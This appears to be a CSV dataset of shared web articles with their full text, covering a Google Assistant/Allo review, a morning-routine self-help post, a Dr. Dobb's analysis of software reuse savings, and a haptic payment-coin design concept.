1474555151,CONTENT SHARED,3577117590019014785,-6067316262393890508,-2227073523468638492,,,,HTML,http://www.pcworld.com/article/3122482/android/hands-on-google-assistants-allo-chatbot-outdoes-cortana-siri-as-your-digital-pal.html,"Hands-on: Google Assistant's Allo chatbot outdoes Cortana, Siri as your digital pal","Tucked within Google's unremarkable Allo messaging app is a real treasure: Google Assistant, which injects Google Now with an eager-to-please personality that finally provides the give-and-take other digital assistants lack. We've always talked about Apple's Siri, Microsoft's Cortana, and Google Now as the three digital assistants from the top smartphone platforms. But the truth is that Google Now was little more than a series of informative cards, while Siri and Cortana preferred a text-based approach with a bit of sass. Google Assistant retains its visual approach, but within a messaging context that really nails it in how you interact with the app itself. Google announced Google Assistant this past May, and the preview version of it is live in Allo, which itself can be used on Android 4.1 (Jelly Bean) on up. Google has said a more fully developed version will appear later in Google Home, Google's Amazon Echo competitor. Based on my limited time comparing it to Cortana and Siri, however, Google Assistant's integration within Allo makes it the assistant to beat. (Remember that Microsoft is betting on bots , too.) Google Assistant introduces itself via a text-based chat. Unearthing Google Assistant within Allo Our dedicated Android site, Greenbot, has an early look on how to download Allo , as well as some of its more specific messaging features. As you might expect, Google Assistant isn't a big believer in privacy. Google tied the app to my Android phone, asking for the expected permissions: the ability to access my contacts, record any spoken commands, and more. Google doesn't specifically call out Google Assistant with popups or explanatory video, but its colorfully bubbly logo appears at the top of the screen, quietly inviting you to use it. That's a different approach than, say, Cortana, whose icon occasionally pops up from the bottom of your Windows 10 taskbar with a cheery greeting, unless you hide it . Apple's Siri is much more demure, hiding behind the iPhone's home key. Cortana, especially, aims to anticipate your every need, demanding your interests when you first use her and presenting your schedule when you click the icon. Google Now currently feels like your project manager, with Assistant acting as a gofer of sorts. Google Assistant launches like a chatbot, introducing itself and (surprise!) asking for your location to personalize its results. (You may as well.) Once it does so, Assistant displays a tiled carousel menu of options that runs off the edge of the screen to the right: Travel, Games, News, Fun, Actions, Sports, Answers, and more. Each clickable tile includes a pair of suggestions to get you started. If there's more than one option, Google Assistant will use a tiled approach that extends outside the window. Unlike Cortana and Siri, Google Assistant never speaks out loud-at least not yet. And while Cortana strikes me as a geeky, polite young woman, I've always thought Siri to be a bit standoffish. Google Assistant comes off as your stereotypical techie Millennial: punctuation's optional, emojis aren't, totally casual. Where Google Assistant succeeds is in its ability to ask the follow-up question. Ask it what the tallest building in the world is, and it will correctly respond with a list of the tallest buildings in the world, also organized in a tiled carousel of pictures. A second or two later, up pops a number of suggested followup queries: What's the tallest thing in the world? How many floors does the Burj Khalifa have? Neither Cortana nor Siri encourage these sort of followup queries at all, and they're weaker for it. Of course, Google Assistant can be used for searching. But it's the additional topics that help you explore. Google Assistant also treats your conversation as a chat log, allowing you to scroll up and review your earlier questions. Tap a response from a question you asked twenty minutes ago and Google Assistant will pick up where it left off. Meanwhile, Siri and Cortana suffer from short-term memory loss and tend to forget question soon after you ask them. Some individual sections still need work. For some reason, all of my Google Assistant's Sports headlines were from the BBC, and what the BBC would call football. Cortana and Siri pull from a variety of topics, and Cortana will call out stories that match my interests. After hours, it's time to play Mark Hachman What saying ""I'm bored"" means to Google Assistant, Cortana, and Siri. Let's face it: Siri can be kind of a jerk. Tell it ""I'm bored"" and it passively-aggressively responds, ""I'll see what I can do to entertain you."" Cortana suggests a knock-knock joke. Google Assistant is the buddy you're backpacking across Croatia with, helping you kill time before the bus arrives in an hour or two. Google Assistant shines brightest in its unexpected integration of fun stuff you've seen before-namely, the playful Google Doodles that show up from time to time on the Google Web site. Want to play a synthesized theremin? Sure. How about solitaire ? Yep, that's there too. You can ask for ""random fun,"" and Google Assistant will begin suggesting a series of random facts and dad jokes to keep you amused, as well as funny videos. Solitaire on your phone! Is this real life? And if you really are bored, it's worth digging into the Games section. Trying to guess film titles based on emoji hints is pretty dumb, but the timed, pub quiz-styled entertainment and geography quizzes are surprisingly entertaining. There's no indication that your scores are being tallied and compared against your friends' scores or a global leaderboard, but I'd expect that feature to arrive someday. Siri smartly suggests games from its own App Store, something that hasn't occurred to Google Assistant yet. ""Play a game"" within Cortana always prompts her to suggest a rather challenging movie quiz, though it doesn't keep your attention for more than a minute or two. Anything outside the norm usually defaults to a music suggestion (""Play solitaire"" suggests a Carpenters song) or tries to open a browser for a related search. Google succeeds in keeping you within Allo most of the time. Google's going to have to watch out, though. Follow-up suggestions make sense within Allo, but just think about how annoying Google Assistant could be within Google Home. Do we really want Home to answer each question with a question? Oh dear god, no. For now, though, Google Assistant seems like a step up on Siri and Cortana. Let's see how the others respond.",en
1474562973,CONTENT SHARED,7915650190943924834,-7496361692498935601,8109878902499658930,,,,HTML,https://medium.com/the-mission/8-things-every-person-should-do-before-8-a-m-cc0233e15c8d,8 Things Every Person Should Do Before 8 A.M. - The Mission,"Life is busy. It can feel impossible to move toward your dreams. If you have a full-time job and kids, it's even harder. How do you move forward? If you don't purposefully carve time out every day to progress and improve - without question, your time will get lost in the vacuum of our increasingly crowded lives. Before you know it, you'll be old and withered - wondering where all that time went. As Professor Harold Hill has said  - ""You pile up enough tomorrows, and you'll find you are left with nothing but a lot of empty yesterdays."" Rethinking Your Life and Getting Out of Survival Mode This article is intended to challenge you to rethink your entire approach to life. The purpose is to help you simplify and get back to the fundamentals. Sadly, most people's lives are filled to the brim with the nonessential and trivial. They don't have time to build toward anything meaningful. They are in survival mode. Are you in survival mode? Like Bilbo, most of us are like butter scraped over too much bread. Unfortunately, the bread is not even our own, but someone else's. Very few have taken the time to take their lives into their own hands. It was social and cultural to live our lives on other people's terms just one generation ago. And many millennials are perpetuating this process simply because it's the only worldview we've been taught. However, there is a growing collective-consciousness that with a lot of work and intention - you can live every moment of your life on your own terms. You are the designer of your destiny. You are responsible. You get to decide. You must decide - because if you don't, someone else will. Indecision is a bad decision. With this short morning routine, your life will quickly change. It may seem like a long list. But in short, it's really quite simple: Wake up Get in the zone Get moving Put the right food in your body Get ready Get inspired Get perspective Do something to move you forward Let's begin: 1. Get A Healthy 7+ Hours of Sleep Let's face it - Sleep is just as important as eating and drinking water. Despite this, millions of people do not sleep enough and experience insane problems as a result. The National Sleep Foundation (NSF) conducted surveys revealing that at least 40 million Americans suffer from over 70 different sleep disorders. Not only that, 60 percent of adults, and 69 percent of children, experience one or more sleep problems a few nights or more during a week. In addition, more than 40 percent of adults experience daytime sleepiness severe enough to interfere with their daily activities at least a few days each month - with 20 percent reporting problem sleepiness a few days a week or more. On the flipside, getting a healthy amount of sleep is linked to: Increased memory Longer life Decreased inflammation Increased creativity Increased attention and focus Decreased fat and increased muscle mass with exercise Lower stress Decreased dependence on stimulants like caffeine Decreased risk of getting into accidents Decreased risk of depression And tons more... google it. The rest of this blog post is worthless if you don't make sleep a priority. Who cares if you wake up at 5 o'clock A.M. if you went to bed three hours earlier? You won't last long. You may use stimulants to compensate, but that isn't sustainable. In the long-run, your health will fall apart. The goal needs to be long-term sustainability. 2. Prayer and Meditation to Facilitate Clarity and Abundance After waking from a healthy and restful sleep session, prayer and meditation are crucial for orienting yourself toward the positive. What you focus on expands. Prayer and meditation facilitate intense gratitude for all that you have. Gratitude is having an abundance mindset. When you think abundantly, the world is your oyster. There is limitless opportunity and possibility for you. People are magnets. When you're grateful for what you have, you will attract more of the positive and good. Gratitude is contagious. Gratitude may be the most important key to success. It has been called the mother of all virtues. If you start every morning putting yourself in a space of gratitude and clarity, you will attract the best the world has to offer, and not get distracted. 3. Hard Physical Activity Despite endless evidence of the need for exercise, only one-third of American men and women between the ages of 25 to 64 years engage in regular physical activity according to the Center for Disease Control's National Health Interview Survey. If you want to be among the healthy, happy, and productive people in the world, get in the habit of regular exercise. Many people go immediately to the gym to get their body moving. I have lately found that doing yard work in the wee hours of the morning generates an intense inflow of inspiration and clarity. Whatever your preference, get your body moving. Exercise has been found to decrease your chance of depression, anxiety, and stress. It is also related to higher success in your career. If you don't care about your body, every other aspect of your life will suffer. Humans are holistic beings. 4. Consume 30 Grams of Protein Donald Layman, professor emeritus of nutrition at the University of Illinois, recommends consuming at least 30 grams of protein for breakfast. Similarly, Tim Ferriss, in his book, The 4-Hour Body, also recommends 30 grams of protein 30 minutes after waking up. According to Tim, his father did this and lost 19 pounds in one month. Protein-rich foods keep you full longer than other foods because they take longer to leave the stomach. Also, protein keeps blood-sugar levels steady, which prevents spikes in hunger. Eating protein first decreases your white carbohydrate cravings. These are the types of carbs that get you fat. Think bagels, toast, and donuts. Tim makes four recommendations for getting adequate protein in the morning: Eat at least 40% of your breakfast calories as protein Do it with two or three whole eggs (each egg has about 6g protein) If you don't like eggs, use something like turkey bacon, organic pork bacon or sausage, or cottage cheese Or, you could always do a protein shake with water For people who avoid dairy, meat, and eggs, there are several plant-based proteins. Legumes, greens, nuts, and seeds all are rich in protein. 5. Take A Cold Shower Tony Robbins starts every morning by jumping into a 57-degree Fahrenheit swimming pool. Why would he do such a thing? Cold water immersion radically facilitates physical and mental wellness. When practiced regularly, it provides long-lasting changes to your body's immune, lymphatic, circulatory and digestive systems that improve the quality of your life. It can also increase weight-loss because it boosts your metabolism. A 2007 research study found that taking cold showers routinely can help treat depression symptoms often more effectively than prescription medications. That's because cold water triggers a wave of mood-boosting neurochemicals which make you feel happy. There is of course, an initial fear of stepping into a cold shower. Without a doubt, if you've tried this before, you have found yourself standing outside the shower dreading the thought of going in. You may have even talked yourself out of it and said, ""Maybe tomorrow."" And turned the hot water handle before getting in. Or, maybe you jumped in but quickly turned the hot water on? What has helped me is thinking about it like a swimming pool. It's a slow painful death to get into a cold pool slowly. You just need to jump in. After 20 seconds, you're fine. It's the same way with taking a cold shower. You get in, you heart starts beating like crazy. Then, after like 20 seconds, you feel fine. To me, it increases my willpower and boosts my creativity and inspiration. While standing with the cold water hitting my back, I practice slowing my breathing and calming down. After I've chilled out, I feel super happy and inspired. Lots of ideas start flowing and I become way motivated to achieve my goals. Plus, it's healthy to do something in the morning that kind of freaks you out! Get's you feeling alive and sets the tone for living outside your comfort zone! 6. Listen to/Read Uplifting Content Ordinary people seek entertainment. Extraordinary people seek education and learning. It is common for the world's most successful people to read at least one book per week. They are constantly learning. I can easily get through one audiobook per week by just listening during my commute to school and while walking on campus. Taking even 15-30 minutes every morning to read uplifting and instructive information changes you. It puts you in the zone to perform at your highest. Over a long enough period of time, you will have read hundreds of books. You'll be knowledgeable on several topics. You'll think and see the world differently. You'll be able to make more connections between different topics. 7. Review Your Life Vision Your goals should be written down - short term and long term. Taking just a few minutes to read your life vision puts your day into perspective. If you read your long term goals every day you will think about them every day. If you think about them every day, and spend your days working toward them, they'll manifest. Achieving goals is a science. There's no confusion or ambiguity to it. If you follow a simple pattern, you can accomplish all of your goals, no matter how big they are. A fundamental aspect of that is writing them down and reviewing them every single day. 8. Do At Least One Thing Towards Long-Term Goals Willpower is like a muscle that depletes when it is exercised. Similarly, our ability to make high quality decisions becomes fatigued over time. The more decisions you make, the lower quality they become - the weaker your willpower. Consequently, you need to do the hard stuff first thing in the morning. The important stuff. If you don't, it simply will not get done. By the end of your day, you'll be exhausted. You'll be fried. There will be a million reasons to just start tomorrow. And you will start tomorrow - which is never. So your mantra becomes: The worst comes first. Do that thing you've been needing to do. Then do it again tomorrow. If you take just one step toward you big goals every day, you'll realize those goals weren't really far away. Conclusion After you've done this, no matter what you have for the rest of your day, you'll have done the important stuff first. You'll have put yourself in a place to succeed. You'll have inched toward your dreams. Because you'll have done all these things, you'll show up better in life. You'll be better at your job. You'll be better in your relationships. You'll be happier. You'll be more confident. You'll be more bold and daring. You'll have more clarity and vision. Your life will shortly change. You can't have mornings like this consistently without waking up to all that is incongruent in your life. Those things you despise will meet their demise. They'll disappear and never return. You'll quickly find you're doing the work you're passionate about. Your relationships will be passionate, meaningful, deep, and fun! You will have freedom and abundance. The world, and the universe, will respond to you in beautiful ways. Call To Action If you liked this article, check out my free eBook, Slipstream Time Hacking. This book teaches you how to decide what you WANT and get it 10x FASTER than the average person. Get the book at this link right now. Have an amazing day!",en
1474564068,CONTENT SHARED,7303676031229268527,3891637997717104548,8166840525570780940,,,,HTML,http://www.drdobbs.com/measuring-the-benefits-of-software-reuse/184406111,Measuring the Benefits of Software Reuse,"Lior is chief technology officer at OSTnet and can be contacted at Jan is a software engineer at Inovant and can be contacted at Software reuse has long been on the radar of many companies because of its potential to deliver quantum leaps in production efficiencies. In fact, basic, or ad hoc software reuse already exists within most organizations. This reuse of documents, coding styles, components, models, patterns, knowledge items, and source code is rarely discussed because it usually starts and ends as an informal grass roots effort, with management having little understanding of how it started, why it persists, and how they might proactively extract larger benefits from it. With an understanding that some form of reuse very likely already exists within most, if not all, software development organizations, the questions emerge, ""how can we measure the level of reuse that already exists?"", ""what can be done to increase reuse benefits?"", and ""how can we track our progress along the way?"". Finding a Unified Unit of Measure The first step to being able to measure how instances of software reuse are impacting operations is to define a base unit of measure that you can use across all instances. The primary issue in finding such a unified unit of measure lies in the fact that reuse is not limited to the source or machine code. In fact, all of the assets associated with software development are possible targets for reuse (components, source code, documents, models, web services, and the like). As a result, artifact-specific measures such as lines of code, pages of documentation, or classes in a diagram are simply not generic enough to be useful, and for the most part do not readily translate into real corporate costs. We suggest using hours as the base unit of measure. Work hours translate directly into costs for a software organization, are easily measurable, and can be universally applied across all artifacts. Some have used ""average developer hours"" as the base unit of measure with average developer hours defined as the number of productive hours that an average developer typically spends directly on software development (15 hours per week, for example). Because the organization pays for software developers, regardless of whether they work on a task directly or indirectly related to the software project, we propose sticking to easily measurable worked hours as the base unit of measure since it is less subjective. Another reason cited for using ""average developer hours"" is that there are cases of certain developers within the organization who are much more (or less) productive than the ""average"" developer. Presumably, however, developers who are extra productive will be recognized as such, and this trait will be reflected in their salary. Salary, which is a market-determined metric, is therefore likely the best and only unbiased measure that we can use to compensate for productivity differences between developers. As long as we use salaried rates for each resource as opposed to some average for the group, we should be able to implicitly keep track of these differences in productivity as we measure dollar cost savings. Measuring Ad Hoc Software Reuse Because there are no set-up or other costs associated with ad hoc reuse, the only costs to the enterprise relate to the time spent searching for and analyzing whether a particular reuse candidate can in fact help accelerate the development of a current task. If the search yields a positive result, there are also subsequent costs associated with modifying/integrating the reusable item into the current project. The risks associated with ad hoc reuse initiatives relate to the time spent to determine whether reuse candidates exist because this time is nonrecoverable and is added to the total development time in the event that no reuse item is located. Over multiple search and reuse iterations, the combined time spent searching, understanding, and integrating the found content into the current project must be less than the time to develop all of the integrated content from scratch for the reuse efforts to be judged as successful. In mathematical terms, this is written as follows, where the expression on the left signifies the total time to develop the content over all reuse or attempted reuse iterations, and the expression on the right indicates the actual or expected time required to build all of the combined content from scratch: (TLR+U)*N + i*SR*MOD + i*(1-SR)*BUILD < i*BUILD In this case, TLR = Time to locate each potentially reusable item; U = Time to understand suitability of each potentially reusable item for current task; N = Number of items that were examined, including each of the items that finally get reused (if any); i = number of attempted instances of reuse; SR = Search hit rate. Percentage of i that yielded a positive search result (for instance, the user discovered a suitable reuse candidate that gets incorporated into the project); MOD = Time to integrate/modify the reused item for current purposes; and BUILD = Time to build an element from scratch. This is the actual or estimated time spent building the software. To calculate expected time to project completion, developers can use any estimation methods currently in place internally (project plans, function point analyses, black magic voodoo). Similarly, by taking the percentage difference between the no reuse and ad hoc reuse scenarios (for instance, (no reuse-ad hoc reuse)/no reuse*100 ), you can arrive at the percentage of savings generated by ad hoc reuse in the enterprise. After simplifying, this equation looks as follows: % Savings = [SR - (TLR+U)*(N/i)/BUILD - SR*(MOD/BUILD)]*100 In this instance, (TLR+U)*N/i is the average time spent searching for a reusable item before an item is found or the user decides to build from scratch. This number is typically less than five minutes. If the average size of the item that you are looking to build is over eight hours (a reasonable assumption), then this term is negligible compared to BUILD, and the ratio of the two terms is essentially 0. MOD/BUILD is the relative cost of integrating an element versus building it from scratch. This value has been determined over numerous empirical studies to be in the range of 0.08 for black box component reuse to 0.85 for a small snippet of code. We'll use an average search hit rate SR of 20 percent (for example, a user finds a useful item one out of every five times that he actually tries to locate something) and 0.75 for an average MOD/BUILD value. The MOD/BUILD value is on the high end of its normal range since the granularity of the things being used in an ad hoc reuse initiative is typically small, as are the incremental benefits achieved. This is a fair assumption because the reuse initiative is not being managed and the developers' source for the content being reused is not optimized (that is, the content is taken from the Internet, friends, and other unmanaged sources). Plugging the aforementioned assumptions into the equation, we find that ad hoc reuse generates savings equal to 5 percent of development costs. Although it appears small on a percentage basis, this number can actually be quite large in dollar terms given the high total cost of the development. For example, if a company's total IT salaries are $5 million, the 5 percent increase in productivity would equate to $250,000 in annual savings. Evolutionary Software Reuse Regardless of the process or processes used to develop software within an organization, there are easy to implement improvements that can be initiated to enhance the returns currently being realized with ad hoc reuse. Although the tasks and the ways of measuring results will not change from one process to the next, the artifacts to be reused and the point at which the reuse-related tasks intervene in the process will vary. By way of example, companies following an RUP process will typically reuse such things as use cases, subsystems, components, source code, and documents, and these will be accessed at various points during the elaboration, construction, and transition phases. Without significantly altering their core development process, companies can begin to benefit to a greater degree by actively managing their existing software assets. In an ""evolutionary reuse"" practice, users are encouraged to identify all potentially reusable items and make them available to others in the organization, without investing any time up-front to make them ""reusable."" During each instance of reuse, the individual reusing the asset is encouraged to refactor the reusable artifacts and republish the upgraded asset, thereby evolving it towards black box reuse. By following this reuse methodology, no initial investment is required to generalize the asset in anticipation of reuse that may not ever occur. Each asset is only extended to the extent needed to accommodate the current requirements, thus there are no sunk costs on assets that were created for reuse but never reused. To implement a more structured evolutionary reuse effort, companies need to: Provide better access to their own internal software content. Promote the development of well-factored software (a process that is already quite familiar to most software developers). Measure results and gradually refine the reused content to ensure growing incremental benefits with each new instance of reuse. Looking at how we model and measure evolutionary software reuse, we first need to identify all incremental costs and benefits that are not present in an ad hoc initiative. These are: Users who locate a reusable asset will typically need to refactor the asset for current purposes. Most of this effort is captured in MOD , but there may occasionally be additional effort involved with restructuring the asset to ensure that it remains well-factored. Since this effort is only necessary when something is to be reused, the total incremental cost is i*SR*FACT, where FACT is the average incremental time to refactor assets for entry into the asset repository. In addition to ensuring that the reusable artifacts are well factored, there are additional costs associated with creating assets from your reusable artifacts (for instance, attaching metadata to make the artifacts easier to find, understand, and reuse) and managing a repository of assets, although selecting the right repository tool for your organization can minimize these costs. These costs are accounted for as REP for each new asset. Inserting these terms into the ad hoc reuse equation and taking the percentage of savings, we get (after simplifying): % Savings = [SR - (TLR+U)*(N/i)/BUILD - SR*((MOD+FACT)/BUILD) - REP/BUILD]*100 As before, (TLR+U)*(N/i)/BUILD is approximately 0 and can be ignored. Interestingly, the term (MOD+FACT)/BUILD in the evolutionary reuse scenario continues to vary between 0.08 and 0.85 and, as an average, actually is smaller than MOD/BUILD in an ad hoc scenario. By way of example, in an ad hoc reuse scenario, if two developers reuse the same artifact on separate occasions, their efforts will likely be duplicated because the improvements made by the first developer reusing the artifact will likely not be available to the second developer (unless they know of each other's work). If one spends 20 hours modifying the artifact for reuse, the other will also likely spend a similar amount of time, resulting in a combined MOD of 40 hours. In an evolutionary reuse scenario, the first developer will likely spend a few more hours modifying and refactoring the artifact to make sure that its interfaces are clean and easily consumable. Because the first developer publishes this asset after he is done, the second developer will reuse the improved asset, thus requiring only a fraction of the time to understand, modify, and refactor it (eight hours, for instance). So if the first developer spent 22 hours modifying and refactoring the artifacts, the total of MOD+FACT over the two reuse instances under the evolutionary reuse scenario will be only 30 hours. With over hundreds of reuse instances, it is easy to see how the average of MOD+FACT will continue to trend lower as the repository of software assets grows and matures. At the limit, when an asset in the repository is black boxed, (MOD+FACT)/BUILD will equal 0.08 because it will no longer be necessary to refactor the asset ( FACT= 0). The term REP/BUILD in the equation relates primarily to the time required to publish assets as they are located. This time will vary depending on the workflow process used to publish assets and on the amount of metadata that the organization determines is necessary to accurately describe the asset. In general, this time is very small and its costs are more than offset by the reduction in the time others spend trying to understand what an artifact does when it is located. By following an evolutionary reuse practice, the company very quickly has at its disposal a rich asset repository filled with reusable company content that: Is exclusively focused on its particular domain of operation. Has been tested and approved for use within the company. As a result, developers looking to reuse will quickly be able to determine whether useful reusable artifacts exist and will also be able to locate more content, with greater precision, thus increasing the search hit rate. While we will use an increased search hit rate of 40 percent in the aforementioned equation, it should be noted that the search hit rate will continue to increase as the repository grows and more content becomes available for reuse. We will use 0.5 for an average (MOD+ FACT)/BUILD value, which is high since the most popular assets will be reused multiple times, resulting in many cases of black box reuse (0.08) and driving down the average. Plugging in the stated numbers, we find that the evolutionary reuse scenario generates very respectable savings of 20 percent. This will amount to a dollar savings of $1 million using salaries of $5 million, as above. Interestingly, this value can be extracted without a material initial investment in time and effort to get started. Systematic Software Reuse When people refer to software reuse without qualifying further, they are typically speaking about traditional ""systematic software reuse."" Systematic software reuse is a highly structured practice that involves architects and developers identifying potentially reusable components in a project or family of projects in advance of their development. Systematic software reuse efforts include ""standards police,"" review committees, and/or special ""tools teams"" responsible for specifically developing reusable assets. Because it is believed that future modifications can be foreseen, developers practicing Systematic software reuse build in abstractions to cover any number of possible mutations and implement ""hooks"" for future iterations. The end goal of all of this up-front effort is to reduce the time required to integrate the reusable component into a new project by enabling black-box software reuse to the largest extent possible (for instance, MOD= 0.08). However, over-abstracting components ahead of time can make code harder for others to read and understand and is an inadvertent problem associated with this practice. While the leverage associated with systematic software reuse is very large because each additional instance of reuse provides enormous benefits, the added up-front costs dramatically increase the risks associated with its implementation. To properly measure the impact that systematic software reuse can have on a development environment, we begin with the ad hoc reuse approach and add all additional tasks and their resulting benefits into the equation. Of particular note: Because reusable components are ""built"" to be reusable, there are costs associated with building these components over and above what it would otherwise cost to build them for a given set of software requirements. Industry accepted figures are that it typically costs anywhere between 50 percent and 150 percent extra to build a component for reuse, versus building it for a single use. We'll use RCOM to identify this extra effort in our equations (to be shown shortly). In the case of evolutionary reuse, this extra effort to make an asset reusable is only done at the time of consumption by the person who is looking to reuse the component, and this effort is captured in the term (MOD+FACT) . The cost of reusing a component built for reuse will be much lower than in other types of reuse with MOD/BUILD ranging between 0.08 and 0.2. Because systematic reuse components are built for reuse, there will typically only be a small number of them available for reuse. Also, the availability of these components should be fairly easy to communicate within the organization meaning that the Search hit rate will be much higher in a Systematic reuse effort, although the actual number of reuse instances i will be dramatically lower, especially in the early years. For a systematic software reuse effort to be profitable, therefore, the following equation representing a systematic software reuse initiative must hold true: (TLR+U)*N + i*SR*MOD + i*(1-SR)* BUILD + j*REP+ j*(1+RCOM)* BUILD< i*BUILD where j = number of reusable software components that have been built, and RCOM = extra time required to build a reusable software component versus building one with equivalent functionality but that is not designed to be reusable. Taking the percentage difference between the no reuse and Systematic software reuse scenarios, we can arrive at the % Savings generated by systematic software reuse in the enterprise. After simplifying, this equation looks like: % Savings = [SR - (TLR+U)*(N/i)/BUILD - SR*MOD/BUILD - (j*REP)/(i*BUILD) - j*(1+RCOM)/i]*100 For demonstration purposes, and to simplify this equation, assume that the search hit rate SR approaches 1 and that RCOM is 50 percent, the low end of its industry accepted value. As well, we'll use a favorable MOD/BUILD value of 0.08 and will assume that (TLR+U)*(N/i)/BUILD approximates 0, as was the case in each of the aforementioned scenarios. Finally, we'll assume that the expression (j*REP)/(i*BUILD) is also equal to zero, which should be the case unless j (the number of reusable components that have been built and inserted into the catalog) is orders of magnitude greater than i (the number of reused elements), which should be the case in all but the most disastrous scenarios. Plugging in the favorable values just listed for each expression and reducing the equation, we get: % Savings = [0.92 - 1.5*j/i]*100 What we can interpret from this equation is that the extra 50 percent spent to build each reusable component adds up very quickly and needs to be amortized over multiple reuse iterations for systematic software reuse to generate positive savings. In fact, if each item built is not used on an average of 1.63 projects ( i/j 1.63, for instance), then the reuse effort will fail to generate a positive return. Overall, systematic software reuse has the potential to generate very large savings (theoretically as high as 92 percent if one magical component were built that could be reused everywhere, which of course, is not really possible). On the negative side, systematic software reuse is highly sensitive to the ratio of j/i , meaning that participants in the initiative need to be highly skilled at predicting which reusable components need to get built to amortize them over the largest number of reuse instances. Failing to accurately pick the right components to build or mismanaging the Systematic software reuse initiative have the potential to very quickly generate costly negative results. Comparison Using the aforementioned methods for calculating the costs and benefits of each of the three reuse implementation methods covered and deriving an ROI from each, we arrive at the ROI graph in Figure 1 . Again, systematic software reuse has the potential to be highly negative if the assets that are built are not quickly reused on multiple projects. Systematic reuse does, however, have the highest slope in the early days, meaning that it can provide a very quick ROI if properly implemented. Evolutionary reuse starts off with low incremental benefits to the organization but quickly begins to generate increasing value as content is refactored and made available to end users. It provides a nice compromise for companies looking to enhance the benefits they are currently getting from their ad hoc reuse efforts but who are unwilling or unable to invest the time required to set up and manage a structured systematic reuse effort. Finally, ad hoc reuse currently generates modest benefits to an organization and it will continue to do so, although these benefits grow slowly and are far from being optimized. Conclusion Measuring productivity and changes in productivity are important when implementing any new software tool or initiative. To that end, the overall techniques just used to determine the costs and benefits related to different reuse practices can also be applied to measure savings associated with other initiatives. It is only in comparing these different returns using standard methods and units of measure that you will be able to make informed decisions and set quantifiable milestones for your company. As a starting point, additional work needs to be done by most companies to gain a better understanding of where development efforts are currently being focused, which tasks are the most costly, which are being duplicated, and can be altered to generate the highest incremental returns. The returns just quantified relate directly to the savings that organizations can hope to gain through developer productivity enhancements. These savings are the minimum benefits realizable since they exclude all other costs (such as overhead) and tertiary benefits such as increased IT agility, reduced defects and maintenance costs, and the ability to deliver new products and services at an accelerated rate to establish or maintain key strategic competitive advantages. As we have seen, depending on the path chosen, establishing this advantage through reuse does not necessarily require a huge up-front investment in time and human resources. DDJ",en
1474567660,CONTENT SHARED,3456674717452933449,998688566268269815,4614253071009104242,,,,HTML,https://www.fastcodesign.com/3063923/a-beautiful-copper-coin-that-could-transform-how-we-spend,A Beautiful Copper Coin That Could Transform How We Spend,"It hurts to spend cash. Literally . And in a way, that's a good thing. Because we're living in a time where most people have less than $1,000 in their bank accounts, and almost $5,000 in credit card debt . It's unfair to simply blame the middle class's financial woes on some lack of self-control, because in the age of smartphone payments, Amazon's Subscribe & Save, and good old credit card swipes, who earnestly considers their monthly budget every time they buy a coffee? Script is a provocative solution to a world full of easy electronic payments. A concept by NewDealDesign (NDD) -a design firm known both for working on major products like Google's late Project Ara , Fitbit , and Lytro , as well as feasible sci-fi tech like swappable tattoos that live under your skin . It's a digitally connected, mechanical brass coin that you load with money like a MetroCard. And as you go about your day, paying for things via wireless NFC connections (like Apple Pay), it offers braille-like tactile feedback so that you recognize how much you're spending. ""It's a digital-physical, or a physical-digital object that's enabling transactions akin to cash,"" explains NDD founder Gadi Amit. ""This project was almost a paradoxical effort to approach interaction design from the perspective of, let's do something inefficient that people really do have to pay attention to, that's quite literally trying to stimulate the pain receptors in your body."" Sure, in a utopian society this frictionless spending makes sense. But that's not the world most of us live in. The Script itself is a beautiful copper object, designed to look as precious as any currency, and weighing in at a solid ounce (about one-fifth of your iPhone, but heavier than most change or jewelry). Its aesthetic was inspired by Japan's Tokugawa coinage , which was oval in shape and stamped with relatively complex texturing. Whereas most coins really rest in your palm, this Script is designed to be grasped more like a deli ticket. For an interactive, electronic device, these ergonomics were key. Because in theory, you approach an NFC payment station with the Script. The station beams over the money you owe, which is displayed. Then, the Script's braille-inspired surface, powered by actuators, begins stamping out virtual currency in giant numbers that you can both see and feel (a feat that NDD says they could pull off in real production, since braille computer displays do it successfully already). Say you owe $26. A $20 will appear. You swipe the Script toward the payment station. Then a $5 will appear. You swipe that. And then a $1. The oval shape allows you to hold the Script in one hand, which provides a directionality necessary for this swipe gesture. ""It's meant to mimic the act of peeling off the bills,"" says NDD lead experience designer, Jaeha Yo. Or, I imagine, flicking away your life savings of pokéballs just to buy a bodega sandwich. In prototypes, NDD has even experimented with using integrated gyroscopes and motors, to produce simulated weight, making it feel like your Script was lighter or heavier based upon how much money was left in your account. ""It's speculative if that can be achieved,"" says Yo. ""We tried playing with hacked things to create the effect, and it worked, but it was extremely crude."" Maybe that quibble about gyroscopes seems like NDD is splitting hairs on a device that's a concept anyway. But the firm did design the Script with confidence that it could actually be built. And given that more than $700 million goes into printing U.S. currency each year, with the right subsidies in place-the banking industry could help!-with enough will, there could be a way to foot much of the bill. But admittedly, getting government support on something that's potentially breakable and hackable, and, any way you cut it, far more expensive to produce than a debit card is likely impossible. But what makes this concept great isn't just the industrial design, or all the psychology that's baked into the idea. It's the project's core intent. ""Let's do something inefficient that people really do have to pay attention to, that's quite literally trying to stimulate the pain receptors in your body."" Silicon Valley tends to view our spending both naively and impersonally. To Amazon, the family checking account is just one data point of millions, in need of the right subscription, voice , or button-tapping service to increase the autonomous spending of currency we often don't actually have. And when our accounts bottom out, and statistically speaking, they will, we're cushioned by the banking and credit industry, richly inflated on taxpayer bailouts, providing a tenuous cushion for the mere price of 20% APR. Sure, in a utopian society where we all drive $100,000 Teslas and sip on cold-pressed Capri Suns (you know, Silicon Valley itself!), mindless, frictionless spending makes a lot of sense-because convenience is our biggest problem. But that's not the world most of us live in. And if the Valley continues its failure to recognize what life is like for the 99% who don't sleep in nap pods and eat free gourmet lunches from some Michelin-ranked chef on staff, they're going to eventually lose 99% of their market. Ironically, this copper-crafted, mechanical braille wallet-as impossibly precious and ridiculous as it may seem for someone working an hourly wage job-is somehow more in tune with everyday Americans than Apple Pay. [All Photos: via NDD]",en
